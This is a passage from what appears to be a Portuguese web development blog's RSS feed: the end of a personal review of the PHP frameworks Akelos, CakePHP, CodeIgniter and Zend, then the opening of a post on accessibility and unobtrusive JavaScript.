como responder esta pergunta. Além do &lt;em&gt;set&lt;/em&gt; de funcionalidades “ready to
use“, temos os benefícios da organização, de algumas boas práticas de
segurança (em alguns casos), de testes automatizados, etc. Hoje, não me
vejo escrevendo um &lt;em&gt;software&lt;/em&gt; do zero… seria um total desperdício de
esforço e tempo.&lt;/p&gt;
&lt;p&gt;Se você está meio cético quanto a isso tudo, eu lanço o desafio:
Pergunte a qualquer usuário do &lt;em&gt;jQuery&lt;/em&gt; se o mesmo deixaria de usá-lo e
voltaria a desenvolver suas soluções com &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; puro.&lt;/p&gt;
&lt;h2&gt;Botando o &lt;em&gt;PHP&lt;/em&gt; nos trilhos com &lt;em&gt;Akelos&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e6755e85e4a6427b8737272efef1623d/4ec73/akelos-logo.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBQT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB3408aaikt4AP/8QAGxAAAQQDAAAAAAAAAAAAAAAAAgABAxAREhT/2gAIAQEAAQUCytmqQHJc8iiFxG//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/AR//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAcEAABAwUAAAAAAAAAAAAAAAAAARExAhAgITL/2gAIAQEABj8CJsu5Q7GqV8P/xAAcEAACAgIDAAAAAAAAAAAAAAABEQAhEDEgcYH/2gAIAQEAAT8hIDZUpaJr3CcKEHUoTrcs4PfD/9oADAMBAAIAAwAAABBvwAD/xAAVEQEBAAAAAAAAAAAAAAAAAAABIP/aAAgBAwEBPxAj/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPxAf/8QAHhABAQABAwUAAAAAAAAAAAAAAREAIUFRECAxYZH/2gAIAQEAAT8Q8GbtXBAEUW8pOgQZqE3EwOABgFC3i+suzc0q/Xs//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do framework Akelos&amp;quot;&quot;
        title=&quot;Logotipo do framework Akelos&quot;
        src=&quot;/static/e6755e85e4a6427b8737272efef1623d/4ec73/akelos-logo.jpg&quot;
        srcset=&quot;/static/e6755e85e4a6427b8737272efef1623d/4ec73/akelos-logo.jpg 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do framework Akelos&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Akelos&lt;/em&gt; foi o primeiro &lt;em&gt;framework
PHP&lt;/em&gt; que eu experimentei. Na época (cerca de 2 anos atrás) ele tinha
sérios problemas com documentação e era um pouco “difícil de lidar”.&lt;/p&gt;
&lt;p&gt;A premissa do &lt;em&gt;Akelos&lt;/em&gt; é ser o &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://rubyonrails.org/&quot; title=&quot;Conheça a framework Ruby on Rails&quot;&gt;Ruby on Rails&lt;/a&gt; do PHP&lt;/em&gt;&lt;/strong&gt;.
Inclusive, quem tem certa experiência com &lt;em&gt;RoR&lt;/em&gt; vai notar várias
similaridades entre ambos (na verdade é um verdadeiro “port” do &lt;em&gt;RoR&lt;/em&gt;
pro &lt;em&gt;PHP&lt;/em&gt;). Cheguei a publicar um projeto em &lt;em&gt;Akelos&lt;/em&gt;, e devo admitir
que na época tive um pouco de dificuldade… talvez hoje ele esteja mais
maduro.&lt;/p&gt;
&lt;p&gt;O que eu realmente gostei nele foi o esquema de “admin generator”
semelhante ao do &lt;em&gt;Django&lt;/em&gt;, seu poderoso esquema de &lt;em&gt;scaffolding&lt;/em&gt; e a
postura humilde dos desenvolvedores de indicarem outros &lt;em&gt;frameworks&lt;/em&gt; na
sua página oficial.&lt;/p&gt;
&lt;p&gt;Se você já desenvolve em &lt;em&gt;&lt;a href=&quot;http://www.ruby-lang.org/pt/&quot; title=&quot;Conheça a linguagem Ruby&quot;&gt;Ruby&lt;/a&gt; (on Rails)&lt;/em&gt; e necessita passear pelo
mundo do &lt;em&gt;PHP&lt;/em&gt;, &lt;em&gt;Akelos&lt;/em&gt; é uma boa pedida. Na minha opinião, se você não
tem nenhuma ligação com &lt;em&gt;Ruby&lt;/em&gt;, recomendo experimentar outros
&lt;em&gt;frameworks&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.akelos.org/&quot; title=&quot;Página oficial do projeto Akelos&quot;&gt;Conheça o &lt;em&gt;Akelos Framework&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Cozinhando aplicações em CakePHP&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0a081ceebd5ebc5167063c76df5d1b34/e9ff0/cake-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE6UlEQVQ4y2WUDUxTVxTHTymCM8yPORUxDmgLxYoKtIVRqEwFJxTMPlRE8Dszfm3JMjezRbNpNNP5NacZxm2a4eLi3MyMCjg2Fd0cMkUpKvLVQQUFea+vhYHwyrtn570WYrab/HNu7rv39/7nnnsvwDPNlaABlzGSoiIVL0ejRk0Cv9TKWIJG+cYrczXwvyZ/8C+WpZIjHx8BnlULA7jIUeDJzQrxLLaFcOEh0L15o4qf8RK4TFplrgL2w58B+hwImRZwWaeBMDthpPfunWE09hY/deIRPmb8GV4/7ixvCD3Cx4Wv7zt/Zpg7Z+ZIIW0GCK++DC6K8npfmn6Y+/XZQAuDOicEAm+YmMVpx/B8fHi7kG5Gd24muvOyUJiXjC6zroPTvcBzmlE5T0YCcNEvBrnfSPdvl8YHlB0Ks+KhMyxYhu6nP7b1HNyF3upbyPr7RGQ4gIgDbGBAFOvuYs+xwyjMT3tEPz3QORZAmGMaMubrEF3IMIfwsWELKY2/xco/aD2KJCZ3BiSRCe5mpe8fE1nrQ/TkZrZw2tGLyGGI4jBBAfqK4ZD3Uj/O6VmzWIExsR8lbz+TJK8C+uvmISwuXsvs1UXM2XQJ+2hOz95tyGlGOxuHTohGNWSVT9QtF6aFP+yYNxWftF+WBt0NtqdPPVhSugJPn87EU6ey2dnS1VJrgQXdhslOLkm3ivcfMyq575zxJs0OV1wEctYY8fYvBVjbsId1tF/Crq467O1tR0nqxfr6IrxwYQFeLFvOLl7IxcfpelGYEYG0dq9cBwKqB1MeTvqRT4hAwRgltf12gNkbtmHF9XysqChQdONGPl67ugyLz+Xhz8V5WH5yAXNZoiQ+PhIJdsbP8J1BUiCBv+XNOhT0oVLbiU2sqeMkNtYdxqamo+hwfIPOlhNYeXsbnitbjCXXVuCfX9iYZ3q4RO5k4HeUaSDvK4rvOpEOCklR2BEzSXywew02c9+z+zU7saZmK9ZUb8H7jTvw2vF8/OE9C54uXcLOb3kFH+jCRN6sxfYETaFADEFJ2awDYW4SFSVqkWtqaMvj8NFYmjxJqrr+AXO0HcNGx5fYUH8Im7jjWL1rCZY//xxemRvNimfppIaYMERTRDPGheXUG6OgjgTc5BFwj8pOhYSuDcsb+wr3ocNo8F42jcXaq5+yW5c3YMWV1WivWo+FW7LZxugpbLtBj18bdN6fzLH4SZL5EaTlWiFtERQkpwDQbVCJVZXQ/2vJdCaKv3dvWmvveWcldh/aL/ZeLJOcRz7D+s83M9fZQrZu4WsYnJQhQdp8MSNlFkakzHWCNccekGpzqlJtUyDVpjhTye5IOlK5Z8WbZb1FR3HA0YCM60BWe0/sv1ou4c1Kae26d8WseBMus1hxRGqmc3hq1h2wZjsItpFiMImKkhg1BGV9T1dS/Nj74G5h7/FCe8/hPY7uD9/Grp0fobR7K57KmIm347TNJYmx96elzFlJgKXkbrXiTIb5HSpi/3QP9QdFL08evSrbee2YrzpjJhyT4iZv9xgjl76fnAyohyCjZTaB5sswtQKU9R9IgLe+Vi07vkKFqiJ1jg8YzECFseMBE0MBqZgYDBBnmRNAeyjLB7PafG/iINBrr1KiJz8H3NlWoEdU3hJ1ZxBAK817YtKqW+nwthh1cNOkBwwEMKSkU6rZftngX2gNNYLRFYwjAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do framework CakePHP&amp;quot;&quot;
        title=&quot;Logotipo do framework CakePHP&quot;
        src=&quot;/static/0a081ceebd5ebc5167063c76df5d1b34/e9ff0/cake-logo.png&quot;
        srcset=&quot;/static/0a081ceebd5ebc5167063c76df5d1b34/e9ff0/cake-logo.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do framework CakePHP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Posso considerar a &lt;em&gt;CakePHP&lt;/em&gt; o meu &lt;strong&gt;&lt;em&gt;framework&lt;/em&gt; “oficial”&lt;/strong&gt; para &lt;em&gt;PHP&lt;/em&gt;.
Para começar a sua página oficial já chama a atenção pelo visual e pela disposição de conteúdo.&lt;/p&gt;
&lt;p&gt;A premissa da &lt;em&gt;CakePHP&lt;/em&gt; é “rapid development”. Já publiquei alguns
projetos em &lt;em&gt;Cake&lt;/em&gt; e devo admitir que ela lhe agrega uma produtividade
excepcional sem criar complexidade desnecessária.&lt;/p&gt;
&lt;p&gt;O que me chamou a atenção, em relação aos outros &lt;em&gt;frameworks&lt;/em&gt;
que testei, foi o seu esquema de &lt;strong&gt;&lt;em&gt;ORM&lt;/em&gt;&lt;/strong&gt;. Agregado ao seu mecanismo de
&lt;em&gt;scaffolding&lt;/em&gt;, torna nossa vida muito mais simples em relação a
construção de modelos de dados, formulários e consultas.&lt;/p&gt;
&lt;p&gt;A documentação é muito boa, e existem vários componentes de terceiros
que a fazem uma das escolhas mais certeiras para o seu ambiente de
desenvolvimento em &lt;em&gt;PHP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://cakephp.org/&quot; title=&quot;Página oficial do projeto CakePHP&quot;&gt;Conheça a &lt;em&gt;CakePHP Framework&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Injetando combustível com CodeIgniter&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e864ff5f5d760f4e1a27d5971d98b220/e9ff0/codeigniter-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFTklEQVQ4y42Ue0zTVxTHT9sZs2VLtjkNiyOCmTGbicHMDYGCDJiITlB8IWOAcaD4QHwnIhE0A8QHwoaMoAgKKFaQRwvMqhQplIK8CkhbRKCUR9/0QR+/lp5dkv2zZFs8ycm9uffcT8793nMuwH+YSjEAlA4ADQAyKQ2m5XGglwEN5wF8EEEun4R3No16FOzTfqBRXKBrlWdAOXX1+LQ8+4B6KhKUMm86+z5A8e20d4NpVWNgG98BtkniqtBFDkMAGFWHs0yKMBT1Nfn2dZeDeOAmvbDg/DvAZjrANrwLbKN7wTIRT9eo6yEKkWZXbhY6FWtRNnSyndyWGEJ3V/v/w5RaJVgHIsEq2QeWkf10vaoE8DgAJd9SbZd5Iso95mU9UVRptdG9oFwNwtYnNKtFBw6b7t+B5p54MPfHgVl8kK6fuQtpJDNqZCvbMbwBHRIvan5oPXZzj0zl1eOncA5B2nqPYWwIhznOJhiT9P0TZui5BMb+FDANnaNp1DxyIwTq9TaOo98L7b3e1Hyvt93UvhGfV18pzbnkAjhcCBNiDqg4xxmYBJBO4kdFbX/rJroPSt0Q6EfyaAsC4R0Aa/eOx/YOJlICJmUX+DkdfCalbwpGXkPRxTFOAqiF6WETEu6qmaZU0N7dwliQtYSclYiHACZ7W0Hp1AGygD5f7wqW9sibtuaNaHvhR1HP/Z1z9T5obdxot9QHoKLx4KtZfnqEhR1qNNRFmcbaWZsn6y+DonA7feRbAEHFbYBBQja/iGDMNceCqTVxl/XPH9DK8XdQ7ACnqcofX95LpIyVP6KTxaSsrE1oeRSC1vJNTmtxAOrKYlEifBYibiiGt7XXGcIeIemIwVp4RqCViAwzZ8+gleWP1kdBDqoi0K4r24pNjU9yBmqzKuVFu9Ba4IOWP3xtplxfp+kq025OXY8TuXGTNYgfNxDGYG8nDTS863QVPw9Urfmecw/C0FIS5DSXbHFaikMc5lu+KL+7X3gS8f3G6keHB3Mi9frTy9GY+Lldf/ALNO5bRs3EemBH+Z0DLbnpILiezADdw0MMLesoaNip0aaicDTnBdnN1zydhmQ3NJxxsenPr8KxohP5LVkxUC3HL0U3El7rYt1Qv3eFwxDqZp8OXo3CjAvX+H5fgdDLnQHaGyEMzW/hoKpKSzJkMNF41t1uPLoUeal7nPJz36F5/0fYlRGje4G4pGYWoQpxmTQ5enQ22BX1/u42ue/X2JR5+Ur1917AZq5jgCzvEGO8IBHGy9KidCfXoCVumVWc5IUV3LZj/UWXfm9OjbXW3S9Myd+7AV5mnlrcXVoMA9UVoYqdnmha52KTBvtg1ePKmJLC2/A4J5sBYh6b9mpMCZ3y2ZXTycEWy0+fYO/FCA0HcakgeefCgy257O0C00T0SX4LfXRqAqTcmpXqcKZZv+ozbEr4RV1LYp+Q/a5O8ihKMpHGr6X3nwiE3rKbGYqENTh12neOi+jeNjkHxWQ/xQ1odjKqgzze027+BmwnoncaPFyxbXsIsurq4vNv5UNpWiqjqVUAMEyqnKdByFzoEjIX3MvOlZwNRumNhHqSFa2BrL3hVoEsOpSmOnUAVD+HeEhDvIzPYyLwYU3tsZSwMDgC5OMl5zmFBQCv25uh+c0McFVIyyGL/MBFwHnGC2wpzOT3NT9N4pXegg5WCUMh6gb1G4kr//qvrZVXM4sfzOPqzMws2E1g5gU5iItEIlLYKhV0cNnAG5JBuwmhcznQa2pq4OkKgHGF5sMBEjjiILJ0dcLb7leLxYgflOzeBgVaM2QfO0pfyExGXCgQgNPphL8AO4xCZ5DYgasAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do framework CodeIgniter&amp;quot;&quot;
        title=&quot;Logotipo do framework CodeIgniter&quot;
        src=&quot;/static/e864ff5f5d760f4e1a27d5971d98b220/e9ff0/codeigniter-logo.png&quot;
        srcset=&quot;/static/e864ff5f5d760f4e1a27d5971d98b220/e9ff0/codeigniter-logo.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do framework CodeIgniter&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Antes de mais nada, devo dizer que só utilizo “oficialmente” a &lt;em&gt;CakePHP&lt;/em&gt; por
causa do seu &lt;em&gt;ORM&lt;/em&gt;. Caso contrário, sem dúvida nenhuma, seria usuário assíduo do
&lt;em&gt;CodeIgniter&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ele é um &lt;em&gt;framework&lt;/em&gt; &lt;strong&gt;muito legal&lt;/strong&gt;, pelo fato de ser mais abrangente
que os dois &lt;em&gt;frameworks&lt;/em&gt; citados anteriormente. Como assim “abrangente”? Explico:
&lt;em&gt;CodeIgniter&lt;/em&gt; &lt;strong&gt;faz menos coisas para você&lt;/strong&gt; que a &lt;em&gt;Akelos&lt;/em&gt;, &lt;em&gt;Cake&lt;/em&gt; ou
&lt;em&gt;Zend&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Se você está pensando que isto é uma desvantagem, está enganado. O &lt;em&gt;CI&lt;/em&gt;
é um &lt;em&gt;framework&lt;/em&gt; extremamente simples de usar. Gostei muito e recomendo
sem dó. Para aqueles projetos em que você quer ter total controle sobre
tudo o que ocorre em cada região da sua aplicação… &lt;em&gt;CI&lt;/em&gt; é uma excelente
pedida.&lt;/p&gt;
&lt;p&gt;A sua documentação é muito boa, e talvez seja um grande fator positivo
para a escolha da ferramenta. Ela não é tão “rapid development” quanto a
&lt;em&gt;Cake&lt;/em&gt;, mas garante uma produtividade incrível e um prazer indescritível
em programar em &lt;em&gt;PHP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Muito provável que eu volte a utilizá-lo em outros projetos.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://codeigniter.com/&quot; title=&quot;Página oficial do projeto CodeIgniter&quot;&gt;Conheça a &lt;em&gt;CodeIgniter&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;O poderio do famoso Zend Framework&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/597396c64996998d09ceb955eec71de1/e9ff0/zend-framework-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQ4y7VUS09TQRjtwp0PXOjCRJeujBtjYty7N25c+xs0QQOiCC4woMYXRkUFGyMLY0zpw5ZaCilIaYsIUgotpQ8K0lJptdLHfRxnvnpvX9CFgUlOJjM3c+75zndmNNjhodkVQlmWIEkCJLkMtBbZN5nmrcDPFc/LJcLyxf+M6vOkMJHxwx3pw9fld5iMvqXZHXkD7w89BDGH4PoIFuJW+OOfCYGEDXNrRsR/z0OpUCEmQk9Ei2b9PrR9OoLb5mNoNx9l6/0YW3oKresiGnV70GJowHXDAYYGQpN+L/vhAJEo1qiEm4UUVtMzSGdjpLTFeBCG2avICxmYvM0MTTB6r9HM93XfL7Mq+tWSt/VQELN4NHKG4Sxywi/am10dQK/zAil9NnoOnqi2vofFLha71T95Ca2mw1hJf6N1KruM+/ZTuGs7iS7bCTywn0YsNUXfRKmgklUo5PXzMRF+Rd4MB+6RJ5l8gh3KM/Jp2BY64Az3lBFI9bscSAzhpukQqeNKOhk6rMcRSn7Ba+d5XPmoYQ3qVpVt5V0FoTP0gpndiMH5NoZ2Mp7P0Q0Phvx3MMUaoFSiEJVQqZQIoxsu+NZMWEo6KArhn+PIss5Xm1+CVJG9Cg8F5tPi+jAL7iAjdmNm5QOF908+WeNXvZuiKhSkHMaC3bD7OzEde89ioqObMhp8AkfwMVyRXjgWH1LTeEY5eOMmwi+ZCEvtTckW0kTgDPVQNy2+VvKNH7L4blGAeZD5t/HQc9gDXbAyf81zN8jbGsLy+pVsKXvcjgILuzIK4qbaHOnfC1X94mi2y1O1d/VepZqrt1PYlRf7L0XvyUqDdYcpAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do Zend Framework&amp;quot;&quot;
        title=&quot;Logotipo do Zend Framework&quot;
        src=&quot;/static/597396c64996998d09ceb955eec71de1/e9ff0/zend-framework-logo.png&quot;
        srcset=&quot;/static/597396c64996998d09ceb955eec71de1/e9ff0/zend-framework-logo.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do Zend Framework&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O meu contato com o &lt;em&gt;Zend Framework&lt;/em&gt; foi um tanto superficial, mas isso já me
dá propriedade para dizer: de todos as citados é o &lt;em&gt;framework&lt;/em&gt; mais poderoso.&lt;/p&gt;
&lt;p&gt;Para ser sincero não tenho motivos para não usar o &lt;em&gt;Zend&lt;/em&gt;, acredito que
a &lt;em&gt;Cake&lt;/em&gt; seja mais simples e “rapid”, por isso da minha escolha. Mas
conheço algumas agências &lt;em&gt;Web&lt;/em&gt; que a adotaram como ferramenta de
desenvolvimento seguindo a lógica: &lt;strong&gt;excelente documentação&lt;/strong&gt;,
&lt;strong&gt;excelente suporte&lt;/strong&gt;, &lt;strong&gt;excelente participação da comunidade&lt;/strong&gt;. Para se
ter ideia, o &lt;em&gt;Zend&lt;/em&gt; já possui livros escritos por autores brasileiros,
fora a bibliografia estrangeira que também é muito boa.&lt;/p&gt;
&lt;p&gt;Usei &lt;em&gt;Zend&lt;/em&gt; (na verdade prestei suporte a um projeto existente) em um
&lt;em&gt;blog&lt;/em&gt; com bom número de visitas diárias, utilizando um banco
&lt;em&gt;Postgres&lt;/em&gt;. E talvez isso tenho refletido na minha escolha, pois o autor
do código não sabia utilizar o esquema de &lt;em&gt;ORM&lt;/em&gt; do &lt;em&gt;Zend&lt;/em&gt;, fazendo com
que instruções referentes a consultas (que deveriam estar em modelos,
seguindo o &lt;em&gt;MVC&lt;/em&gt;) estavam nos controladores, o que deixava o código
“macarrônico” demais para o meu gosto.&lt;/p&gt;
&lt;p&gt;Mas é uma excelente ferramenta, possui um esquema de validadores muito
bom, e embora pareça um pouco complexa de início, com a prática você
acaba desmistificando e apaixonando-se por este &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://framework.zend.com/&quot; title=&quot;Página oficial do projeto Zend Framework&quot;&gt;Conheça o &lt;em&gt;Zend Framework&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Como você pode ver, este papo de que o ambiente de desenvolvimento &lt;em&gt;PHP&lt;/em&gt;
é “pobre” é lenda.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Garantindo acessibilidade com Javascript não obstrusivo]]></title><description><![CDATA[Em épocas onde RIA está cada vez mais comum, e as interfaces web resolveram
parecer-se cada vez mais com ambientes desktops, tenho reparado…]]></description><link>https://klauslaube.com.br/2010/11/18/acessibilidade-javascript-nao-obstrusivo.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/18/acessibilidade-javascript-nao-obstrusivo.html</guid><pubDate>Thu, 18 Nov 2010 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Em épocas onde &lt;em&gt;RIA&lt;/em&gt; está cada vez mais comum, e as interfaces &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; resolveram
parecer-se cada vez mais com ambientes &lt;em&gt;desktops&lt;/em&gt;, tenho reparado um
grande movimento a favor da acessibilidade, afinal, como bons
profissionais que somos temos que garantir que a informação que estamos
disponibilizando seja acessada por uma gama de pessoas, inclusive
aquelas com necessidades especiais.&lt;/p&gt;
&lt;h2&gt;Preocupe-se com a acessibilidade&lt;/h2&gt;
&lt;p&gt;Quando você lê “&lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; não obstrusivo”, você está lendo que
uma aplicação &lt;em&gt;web&lt;/em&gt;, mesmo que recheada de requisições &lt;em&gt;Ajax&lt;/em&gt;, possa
funcionar em navegadores mais modestos (como o &lt;a href=&quot;http://pt.wikipedia.org/wiki/Lynx_(navegador)&quot; title=&quot;Não conhece o Lynx?&quot;&gt;&lt;em&gt;Lynx&lt;/em&gt;&lt;/a&gt;, dispositivos
&lt;em&gt;mobile&lt;/em&gt;, navegadores específicos para pessoas com necessidades
especiais (leitores de tela, por exemplo) ou até mesmo em outras
máquinas (no caso de serviços &lt;em&gt;web&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.tableless.com.br/principais-pontos-da-acessibilidade-na-web&quot; title=&quot;Principais pontos da Acessibilidade na Web&quot;&gt;&lt;em&gt;Diego Eis (do Tableless)&lt;/em&gt;&lt;/a&gt; comenta que para garantir
acessibilidade em suas aplicações &lt;em&gt;web&lt;/em&gt; é necessário que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Funcione em diversos dispositivos (&lt;em&gt;handhelds&lt;/em&gt;, &lt;em&gt;WebTV&lt;/em&gt;, &lt;em&gt;tablets&lt;/em&gt;, etc);&lt;/li&gt;
&lt;li&gt;Funcione em várias plataformas (&lt;em&gt;Windows&lt;/em&gt;, &lt;em&gt;Linux&lt;/em&gt;, &lt;em&gt;Mac&lt;/em&gt;, etc);&lt;/li&gt;
&lt;li&gt;Funcione em diversos navegadores;&lt;/li&gt;
&lt;li&gt;Seja acessível por todos os tipos de pessoas (incluindo pessoas com deficiência motora ou visual).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A pergunta que não quer calar: Como posso fazer da minha aplicação
&lt;em&gt;web&lt;/em&gt;, que tem centenas de eventos &lt;em&gt;Javascript&lt;/em&gt; e centenas de
requisições &lt;em&gt;Ajax&lt;/em&gt;, ser “não obstrusiva”?&lt;/p&gt;
&lt;h2&gt;Não deixe que o Javascript interfira na informação&lt;/h2&gt;
&lt;p&gt;Quem vem do &lt;em&gt;xHTML&lt;/em&gt; já tem por hábito separar o &lt;em&gt;front-end&lt;/em&gt; em três
áreas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Informação (conteúdo)&lt;/li&gt;
&lt;li&gt;Estilos (aparência)&lt;/li&gt;
&lt;li&gt;Comportamento (interação)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Podemos chamá-las de &lt;strong&gt;camadas&lt;/strong&gt; se preferir. O importante é que uma
área deve impactar o mínimo possível sobre a outra (ou seja, interferir
“diretamente”). Isto é possível eliminando o uso de instruções &lt;em&gt;inline&lt;/em&gt;,
usando folhas de estilos ao invés de instruções &lt;em&gt;style&lt;/em&gt; e adicionando
eventos ao &lt;em&gt;Javascript&lt;/em&gt; através de métodos da linguagem (e não atributos
dos elementos &lt;em&gt;HTML&lt;/em&gt; como o &lt;em&gt;onClick&lt;/em&gt;).&lt;/p&gt;
